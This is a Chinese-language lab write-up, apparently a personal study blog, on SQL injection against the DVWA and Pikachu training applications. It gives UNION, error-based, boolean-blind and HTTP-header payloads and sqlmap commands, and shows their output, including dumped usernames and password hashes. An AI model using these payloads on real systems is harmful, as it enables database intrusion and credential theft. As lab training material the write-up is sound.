SQL注入

SQL注入

Posted by Kyon-H on November 13, 2022

dvwa、pikachu 之 sql 注入

SQL 注入

1.SQL 注入分类

1
2
3
4
5
6
按SQLMap中的分类来看,SQL注入类型有以下 5 种:
 UNION query SQL injection(可联合查询注入)
 Stacked queries SQL injection(可多语句查询注入)
 Boolean-based blind SQL injection(布尔型注入)
 Error-based SQL injection(报错型注入)
 Time-based blind SQL injection(基于时间延迟注入)

2.手工注入常规思路:

1
2
3
4
5
6
7
1.判断是否存在注入,注入是字符型还是数字型
2.猜解 SQL 查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.查询到账户的数据

3.SELECT 特殊应用:

1
2
3
4
5
6
SELECT DATABASE();	--查看当前使用数据库
SELECT VERSION();	--版本
SELECT USER();		--查看当前登陆数据库用户
select @@datadir;	--数据路径
select @@basedir;	--mysql安装路径
select @@version_compile_os;	--mysql安装的所在os系统

手工注入

LOW

1.判断是否存在注入,注入是字符型还是数字型

1
2
3
4
1
1' and '1'='1
1' and '1'='2
1' or '1'=1

2.猜解 SQL 查询语句中的字段数

1
2
3
4
1′ or 1=1 order by 1 #
1′ or 1=1 order by 2 #
...
1′ or 1=1 order by n #

3.确定显示的字段顺序

输入 1’ union select 1,2 #

image-20221113153425072.png

说明执行的 SQL 语句为 select First name,Surname from 表 where ID=’id’…

4.获取当前数据库

1
输入1' union select 1,database() #

可得数据库名为dvwa

5.获取数据库中的表

1
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

若报错:Illegal mix of collations for operation ‘UNION’ 改为

1
1' union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=database() #

image-20221113154139644.png

可得表有guestbook users

6.获取表中的字段名

1
1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #

Illegal mix of collations for operation ‘UNION’

1
1' union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_schema=database() and table_name='users' #

image-20221113155210293.png

1
user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

7.下载数据

1
1' union select group_concat(user_id,first_name,last_name,user) ,group_concat(password) COLLATE utf8_general_ci from users #

返回结果:

1
ID: 1' union select group_concat(user_id,first_name,last_name,user) ,group_concat(password) COLLATE utf8_general_ci from users #<br>First name: 1adminadminadmin,2GordonBrowngordonb,3HackMe1337,4PabloPicassopablo,5BobSmithsmithy<br>Surname: 5f4dcc3b5aa765d61d8327deb882cf99,e99a18c428cb38d5f260853678922e03,8d3533d75ae2c3966d7e0d4fcc69216b,0d107d09f5bbe40cade3de5c71e9e9b7,5f4dcc3b5aa765d61d8327deb882cf99

image-20221113160057448.png

MEDIUM

1
1 and 1=1

数字型注入

字符串 users 改为 16 进制可绕过

1
2
3
4
5
6
7
8
9
1 or 1=1

1 union select 1,database()#

1 union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=database()#

1 union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name=0x7573657273# --0x7573657273 hex(users)

1 union select group_concat(user_id,first_name,last_name,user),group_concat(password) COLLATE utf8_general_ci from users#

HIGH

1
2
'
1' and '1'='1

字符型注入

1
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";

LIMIT 1 限制了输出,可通过#将其注释掉,注释过程与 low 级别相同。

搜索型注入

搜索语句:

1
select username,id,email from member where username like '%1%’ and 1=1 and '%'='%'

payload:

1
2
3
4
5
6
7
8
9
'
xxx%' and 1=1 and '%'='
xxx%' and 1=1 #
'
xxx%' or 1=1 #
'
xxx%' and 1=1 order by 13 #
'
x%' union select 1,2,database() #获取数据库名

xx 型注入

查询语句:

1
select id,email from member where username=('$name')

payload:

1
2
3
4
5
6
7
8
'
lili') and 1=1 #
'
lili') or 1=1 #
'
lili') and 1=1 order by 2 #
'
lili') union select 1,database() #

“insert/update”注入

查询语句:

1
insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')

相关函数:

1
2
3
4
5
6
UpdateXML(xml_target,xpath_expr,new_xml)

#此函数将xml_target中用xpath_expr路径匹配到XML片段用new_xml替换,然后返回更改后的XML
#xml_target被替换的部分与xpath_expr用户提供的XPath表达式匹配。
#如果找不到表达式匹配 xpath_expr项,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。
#所有三个参数都应为字符串。
1
2
ExtractValue(xml_frag, xpath_expr)
#此函数是返回在xml_fragxpath_expr路径匹配到的XML片段。
1
2
3
concat(input_string1, input_string2 [, input_stringN ])
#使用CONCAT()函数可将两个或多个字符串连接成一个字符串
#如果传递非字符串值,CONCAT()函数将在连接之前将这些值隐式转换为字符串。

注入原理:

  1. 在 UpdateXML()、ExtractValue()函数中,当参数 xpath_expr 路径语法错误时,就会报错,将 xpath_expr 中内容当作 sql 语句执行后结果和报错结果一同返回。

查看数据库名:

1
2
'
1' or updatexml(1,concat('~',database()),0) or' # '~'=0x7e

回显:XPATH syntax error: ‘~pikachu’

查看数据库版本:

1
2
'
1' or updatexml(1,concat('~',version()),0) or'

回显:XPATH syntax error: ‘~5.7.27-log’

查看数据库中表名:

1
2
3
4
5
'
# 两种方式第一个and不能改为or
1' and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='pikachu')),0) or'
#
1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'))) or'

回显:XPATH syntax error: ‘~httpinfo,member,message,users,x’

查看表中 column 名:

1
2
3
4
'
1' and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users')),0) or'
#
1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='users'))) or'

回显:XPATH syntax error: ‘~id,username,password,level’

获取用户名、密码:

1
2
3
4
'
1' and updatexml(1,concat('~',(select group_concat(username,'@',password) from pikachu.users)),0) or'
#
1' and extractvalue(1,concat('~',(select group_concat(username,'@',password) from pikachu.users))) or'

回显:XPATH syntax error: ‘~admin@e10adc3949ba59abbe56e057f’

回显长度有限制,为 32 字符

使用 substring(str,start,length)函数,start 从 1 开始

1
2
3
4
5
6
7
'
1' and updatexml(1,concat(0x7e,substring((select group_concat(username,'@',password)  from pikachu.users),1,30)),0) or'
'
#01-30#~admin@e10adc3949ba59abbe56e057
#31-60#~f20f883e,pikachu@670b14728ad99
#61-90#~02aecba32e22fa4f6bd,test@e99a1
#91-  #~8c428cb38d5f260853678922e03

admin@e10adc3949ba59abbe56e057f20f883e,

pikachu@670b14728ad9902aecba32e22fa4f6bd,

test@e99a18c428cb38d5f260853678922e03

“delete”注入

sql 语句:

1
delete from message where id={$_GET['id']}

使用 updatexml 尝试显错注入

“http header”注入

sql 语句:

1
2
//这里把http的头信息存到数据库里面去了,但是存进去之前没有进行转义,导致SQL注入漏洞
insert httpinfo(userid,ipaddress,useragent,httpaccept,remoteport) values('$is_login_id','$remoteipadd','$useragent','$httpaccept','$remoteport')

原理:

http-header 消息主要分成四个部分:general header ,request header ,response header,entity header。

http-header 注入漏洞正是由于后台把超文本传输头中的一些信息拿去拼接到 sql 语句中又不做安全处理造成的。

过程:

用 user agent 这个字段来进行测试。删除整个字段,输入 payload

image-20221203202703705.png

*注:此数据包非第一次 request 的包,在中间过程产生的包。

1
2
'
1'or updatexml(1,concat(0x7e,database()),1) or'

注入成功,之后可使用 updatexml 方法获取数据库中用户数据

盲注(base on boolian)

1
2
3
4
5
6
7
8
9
12
#success
12'
'
#error
'
12'+and+'1'='1
'
#success

字符型注入,构造 payload:

1
2
3
4
5
6
7
8
9
'
12'+and+length(database())=7--+用#注释报错,改为--+
#确定数据库名长度为7
'
12'+and+ascii(substr(database(),1,1))>=48--+
'
12'+and+ascii(substr(database(),1,1))>=65--+
'
12'+and+ascii(substr(database(),1,1))>=97--+

可知第一个字符为小写字母,使用 burpsuit 的 Intruder

image-20221203210255171.png

获取第一个字母为 p

最终获取数据库名为 pikachu

1
2
'
12'+and+length((select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()))>=3--+

length=38

手工盲注

LOW

确定为字符型注入

获取数据库名长度

1
2
3
4
1' and length(database())=1#
1' and length(database())=2#
...
1' and length(database())=n#

n=4,数据库名长度为 4

猜解字母

substr 函数:

substr(“str”,pos,length) //pos 从 1 开始,返回 length 长字符串

Dec Hex 字符
48 0x30 1
57 0x39 9
65 0x41 A
90 0x5A Z
97 0x61 a
122 0x7A z
1
2
3
4
1' and ascii(substr(database(),1,1))>97#
1' and ascii(substr(database(),2,1))>97#
1' and ascii(substr(database(),3,1))>97#
1' and ascii(substr(database(),4,1))>97#

MEDIUM

HIGH

使用 sqlmap

获取数据库信息

1
sqlmap -u "http://192.168.30.131/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=de4a36j8c76rh39pm9hjr55k51; security=low" --batch

result

1
2
3
[08:44:12] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.38, Apache 2.4.39
back-end DBMS: MySQL >= 5.6

获取数据库

1
sqlmap -u "http://192.168.30.131/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=de4a36j8c76rh39pm9hjr55k51; security=low" --batch --dbs

result

1
2
3
4
5
6
7
[08:47:22] [INFO] fetching database names
available databases [5]:
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys

查看指定数据库并展示所有表:

1
sqlmap -u "http://192.168.30.131/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=de4a36j8c76rh39pm9hjr55k51; security=low" --batch -D dvwa --tables

result

1
2
3
4
5
6
7
[08:49:55] [INFO] fetching tables for database: 'dvwa'
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users     |
+-----------+

查看指定数据库的指定表的所有列:

1
sqlmap -u "http://192.168.30.131/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=de4a36j8c76rh39pm9hjr55k51; security=low" --batch -D dvwa -T users --columns

result

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[08:52:02] [INFO] fetching columns for table 'users' in database 'dvwa'
Database: dvwa
Table: users
[8 columns]
+--------------+-------------+
| Column       | Type        |
+--------------+-------------+
| user         | varchar(15) |
| avatar       | varchar(70) |
| failed_login | int(3)      |
| first_name   | varchar(15) |
| last_login   | timestamp   |
| last_name    | varchar(15) |
| password     | varchar(32) |
| user_id      | int(6)      |
+--------------+-------------+

查询指定列数据:

1
sqlmap -u "http://192.168.30.131/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=de4a36j8c76rh39pm9hjr55k51; security=low" --batch -D dvwa -T users -C user --dump

result

1
2
3
4
5
6
7
8
9
10
11
12
13
[08:56:36] [INFO] fetching entries of column(s) '`user`' for table 'users' in database 'dvwa'
Database: dvwa
Table: users
[5 entries]
+---------+
| user    |
+---------+
| admin   |
| gordonb |
| 1337    |
| pablo   |
| smithy  |
+---------+